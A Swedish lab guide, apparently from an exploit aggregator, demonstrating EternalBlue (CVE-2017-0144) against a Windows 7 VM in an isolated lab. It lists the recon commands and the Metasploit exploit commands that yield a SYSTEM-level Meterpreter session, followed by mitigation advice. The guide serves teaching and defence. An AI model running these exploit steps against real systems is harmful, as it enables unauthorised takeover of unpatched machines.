Share
## https://sploitus.com/exploit?id=2DCED19B-FD53-5198-9DE4-C2936C650E45
# Lab Guide: Exploatering av CVE-2017-0144 (EternalBlue)

Denna guide demonstrerar sÄrbarheten **CVE-2017-0144**, mer kÀnd som **EternalBlue**. Denna exploit utnyttjar en brist i Microsofts implementering av SMBv1-protokollet och blev vÀrldsberömd genom ransomware-attacken **WannaCry**.

> [!WARNING]
> **Ansvarsfriskrivning:** Denna guide Àr endast för utbildningsÀndamÄl i en kontrollerad miljö. Utför aldrig penetrationstester eller exploits pÄ system du inte har uttryckligt skriftligt tillstÄnd att testa.

---

## 🏗 Labmiljö & Material

För att Äterskapa sÄrbarheten pÄ ett sÀkert sÀtt anvÀnds en isolerad miljö i VirtualBox. Detta sÀkerstÀller att ingen trafik eller skadlig kod lÀmnar labbmiljön.

| Komponent | Detaljer | KĂ€lla |
| :--- | :--- | :--- |
| **Target** | Windows 7 Ultimate SP1 (x64) | [Archive.org](https://archive.org/details/win-7-ult-sp-1-english-x-64) |
| **Attacker** | Kali Linux (2025.3) | [Kali.org](https://www.kali.org/get-kali/#kali-virtual-machines) |
| **Hypervisor** | Oracle VirtualBox | [VirtualBox.org](https://www.virtualbox.org/wiki/Downloads) |

### NĂ€tverkskonfiguration
BÄda maskinerna stÀlls in pÄ **Host-Only Adapter** för att isolera dem frÄn internet men tillÄta kommunikation mellan varandra.
* `Högerklicka pÄ VM -> Settings -> Network -> Adapter 1 -> Attached to: Host-only Adapter`.




---

## 1. Förberedelser (Target & Attacker)

### Konfigurera Windows 7 (Target)
Efter installationen mÄste Windows-brandvÀggen inaktiveras för att simulera en sÄrbar miljö utan externa skyddslager.
1. GĂ„ till `Control Panel` -> `System and Security` -> `Windows Firewall`.
2. VÀlj `Turn Windows Firewall on or off` och stÀll in pÄ **Off**.


  
  
  


### Konfigurera Kali Linux (Attacker)
Logga in med standarduppgifterna `kali` / `kali`. Det Àr viktigt att tid och tidszon stÀmmer för korrekt loggning.
1. Öppna **Time and Date Settings**.
2. LÄs upp instÀllningarna och stÀll in rÀtt tidszon (t.ex. Europe/Stockholm).







---

## 2. Informationsinsamling & Scanning

### Identifiera Attacker IP
Kontrollera din egen IP-adress i Kali-terminalen:
`ip a`


NÀtverksupptÀckt (Reconnaissance)
Vi anvÀnder netdiscover för att identifiera mÄlets IP-adress pÄ nÀtverket:

`sudo netdiscover`


`Scanning med Nmap`
NÀr vi har mÄlets IP (t.ex. 192.168.56.101) kör vi en scanning för att bekrÀfta operativsystem och öppna portar (speciellt port 445 för SMB):

`sudo nmap -O 192.168.56.101`




3. Exploatering med Metasploit
Nu anvÀnder vi Metasploit Framework för att utnyttja sÄrbarheten.

Starta Metasploit: `msfconsole`

VĂ€lj modul: `use exploit/windows/smb/ms17_010_eternalblue`

SÀtt mÄl-IP: `set RHOSTS 192.168.56.101`

SĂ€tt lyssnar-interface: `set LHOST eth0`

Kör exploiten: `run`







4. Post-Exploatering
NÀr vi ser meterpreter > har vi lyckats fÄ en session. Vi kan nu kontrollera vÄra rÀttigheter:

`shell`
`whoami`
Resultatet nt authority\system bekrÀftar att vi har fullstÀndig kontroll över systemet.



Demonstrationsmeddelande
För att visa intrÄnget visuellt kan vi skicka ett meddelande direkt till offrets skÀrm:

`msg * "Du har blivit Hackad!"`


🛡 Hur man skyddar sig (Mitigation)
Att förstÄ hur man ÄtgÀrdar sÄrbarheter Àr kritiskt för en sÀkerhetsexpert. För att skydda sig mot EternalBlue bör följande göras:

Installera SĂ€kerhetsuppdateringar: Applicera Microsofts patch MS17-010.

Inaktivera SMBv1: Detta gamla protokoll Àr osÀkert och bör inaktiveras i Windows-instÀllningarna.

BrandvÀggskonfiguration: SÀkerstÀll att port 445 inte Àr öppen mot osÀkra nÀtverk.

Uppgradera Operativsystem: AnvÀnd moderna operativsystem (Windows 10/11) som har inbyggda skydd mot minneskorruption.

Tack för att ni lÀser min guide! Kontakta mig gÀrna via LinkedIn för frÄgor eller samarbeten.